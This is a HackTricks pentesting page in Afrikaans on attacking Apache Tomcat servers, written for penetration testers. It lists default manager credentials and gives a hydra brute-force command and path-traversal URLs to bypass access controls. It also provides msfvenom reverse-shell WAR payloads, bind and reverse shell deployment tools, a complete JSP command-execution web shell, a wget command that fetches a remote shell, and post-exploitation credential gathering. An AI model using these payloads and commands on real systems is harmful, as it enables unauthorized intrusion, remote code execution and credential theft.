# Tomcat {% hint style="success" %} Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Ondersteun HackTricks * Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)! * **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Ontdekking * Dit loop gewoonlik op **poort 8080** * **Gewone Tomcat fout:**
## Opsporing ### **Weergawe Identifikasie** Om die weergawe van Apache Tomcat te vind, kan 'n eenvoudige opdrag uitgevoer word: ```bash curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat ``` Dit sal soek na die term "Tomcat" in die dokumentasie-indeksbladsy, wat die weergawe in die titel-tag van die HTML-antwoord onthul. ### **Bestand Plekke van die Bestuurder** Om die presiese plekke van **`/manager`** en **`/host-manager`** gidsen te identifiseer, is noodsaaklik aangesien hul name moontlik verander kan word. 'n Brute-force soektog word aanbeveel om hierdie bladsye te vind. ### **Gebruikersnaam Enumerasie** Vir Tomcat weergawes ouer as 6, is dit moontlik om gebruikersname te enumerate deur: ```bash msf> use auxiliary/scanner/http/tomcat_enum ``` ### **Standaard Kredensiale** Die **`/manager/html`** gids is veral sensitief aangesien dit die opgradering en implementering van WAR-lêers toelaat, wat kan lei tot kode-uitvoering. Hierdie gids is beskerm deur basiese HTTP-oute, met algemene kredensiale wat is: * admin:admin * tomcat:tomcat * admin: * admin:s3cr3t * tomcat:s3cr3t * admin:tomcat Hierdie kredensiale kan getoets word met: ```bash msf> use auxiliary/scanner/http/tomcat_mgr_login ``` Nog 'n noemenswaardige gids is **`/manager/status`**, wat die Tomcat- en OS-weergawe vertoon, wat help met die identifisering van kwesbaarhede. ### **Brute Force Aanval** Om 'n brute force aanval op die bestuurder-gids te probeer, kan mens gebruik maak van: ```bash hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html ``` Along with setting various parameters in Metasploit to target a specific host. ## Algemene Kw vulnerabilities ### **Wagwoord Terugsporing Ontsluiting** Toegang tot `/auth.jsp` mag die wagwoord in 'n terugsporing onthul onder gelukkige omstandighede. ### **Dubbele URL Kodering** Die CVE-2007-1860 kwesbaarheid in `mod_jk` laat dubbele URL kodering pad traversering toe, wat ongeoorloofde toegang tot die bestuurskoppelvlak via 'n spesiaal saamgestelde URL moontlik maak. Om toegang te verkry tot die bestuursweb van die Tomcat, gaan na: `pathTomcat/%252E%252E/manager/html` ### /voorbeelde Apache Tomcat weergawes 4.x tot 7.x sluit voorbeeldskripte in wat vatbaar is vir inligtingsontsluiting en kruis-webskripting (XSS) aanvalle. Hierdie skripte, wat omvattend gelys is, moet nagegaan word vir ongeoorloofde toegang en potensiële uitbuiting. Vind [meer inligting hier](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/) * /voorbeelde/jsp/num/numguess.jsp * /voorbeelde/jsp/dates/date.jsp * /voorbeelde/jsp/snp/snoop.jsp * /voorbeelde/jsp/error/error.html * /voorbeelde/jsp/sessions/carts.html * /voorbeelde/jsp/checkbox/check.html * /voorbeelde/jsp/colors/colors.html * /voorbeelde/jsp/cal/login.html * /voorbeelde/jsp/include/include.jsp * /voorbeelde/jsp/forward/forward.jsp * /voorbeelde/jsp/plugin/plugin.jsp * /voorbeelde/jsp/jsptoserv/jsptoservlet.jsp * /voorbeelde/jsp/simpletag/foo.jsp * /voorbeelde/jsp/mail/sendmail.jsp * /voorbeelde/servlet/HelloWorldExample * /voorbeelde/servlet/RequestInfoExample * /voorbeelde/servlet/RequestHeaderExample * /voorbeelde/servlet/RequestParamExample * /voorbeelde/servlet/CookieExample * /voorbeelde/servlet/JndiServlet * /voorbeelde/servlet/SessionExample * /tomcat-docs/appdev/sample/web/hello.jsp ### **Pad Traversering Uitbuiting** In sommige [**kwesbare konfigurasies van Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) kan jy toegang verkry tot beskermde gidse in Tomcat met die pad: `/..;/` So, byvoorbeeld, mag jy in staat wees om die **Tomcat bestuurder** bladsy te bekom deur toegang te verkry tot: `www.vulnerable.com/lalala/..;/manager/html` **Nog 'n manier** om beskermde pades te omseil met hierdie truuk is om toegang te verkry tot `http://www.vulnerable.com/;param=value/manager/html` ## RCE Laastens, as jy toegang het tot die Tomcat Web Toepassing Bestuurder, kan jy **'n .war-lêer oplaai en ontplooi (kode uitvoer)**. ### Beperkings Jy sal slegs in staat wees om 'n WAR te ontplooi as jy **genoeg bevoegdhede** het (rolle: **admin**, **manager** en **manager-script**). Daardie besonderhede kan gevind word onder _tomcat-users.xml_ wat gewoonlik gedefinieer is in `/usr/share/tomcat9/etc/tomcat-users.xml` (dit verskil tussen weergawes) (sien [POST ](./#post)section). ```bash # tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed # deploy under "path" context path curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell" # undeploy curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell" ``` ### Metasploit ```bash use exploit/multi/http/tomcat_mgr_upload msf exploit(multi/http/tomcat_mgr_upload) > set rhost msf exploit(multi/http/tomcat_mgr_upload) > set rport msf exploit(multi/http/tomcat_mgr_upload) > set httpusername msf exploit(multi/http/tomcat_mgr_upload) > set httppassword msf exploit(multi/http/tomcat_mgr_upload) > exploit ``` ### MSFVenom Reverse Shell 1. Skep die war om te ontplooi: ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war -o revshell.war ``` 2. Laai die `revshell.war` lêer op en toegang tot dit (`/revshell/`): ### Bind en omgekeerde shell met [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) In sommige scenario's werk dit nie (byvoorbeeld ou weergawes van sun) #### Laai af ```bash git clone https://github.com/mgeeky/tomcatWarDeployer.git ``` #### Terugskakel ```bash ./tomcatWarDeployer.py -U -P -H -p :/manager/html/ ``` #### Bind shell ```bash ./tomcatWarDeployer.py -U -P -p :/manager/html/ ``` ### Gebruik [Culsterd](https://github.com/hatRiot/clusterd) ```bash clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows ``` ### Handmatige metode - Web shell Skep **index.jsp** met hierdie [inhoud](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp): ```java
<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+"
"; } } catch(IOException e) { e.printStackTrace(); } } %>
<%=output %>
``` ```bash mkdir webshell cp index.jsp webshell cd webshell jar -cvf ../webshell.war * webshell.war is created # Upload it ``` U kan ook dit installeer (maak opgelaai, aflaai en opdraguitvoering moontlik): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html) ### Handmatige Metode 2 Kry 'n JSP web shell soos [hierdie](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) en skep 'n WAR-lêer: ```bash wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp zip -r backup.war cmd.jsp # When this file is uploaded to the manager GUI, the /backup application will be added to the table. # Go to: http://tomcat-site.local:8180/backup/cmd.jsp ``` ## POST Die naam van die Tomcat geloofsbriewe lêer is _tomcat-users.xml_ ```bash find / -name tomcat-users.xml 2>/dev/null ``` Ander maniere om Tomcat-akkrediteerings te versamel: ```bash msf> use post/multi/gather/tomcat_gather msf> use post/windows/gather/enum_tomcat ``` ## Ander tomcat skandeergereedskap * [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner) ## Verwysings * [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat) * [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf) {% hint style="success" %} Leer & oefen AWS Hacking:[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Leer & oefen GCP Hacking: [**HackTricks Opleiding GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Ondersteun HackTricks * Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)! * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}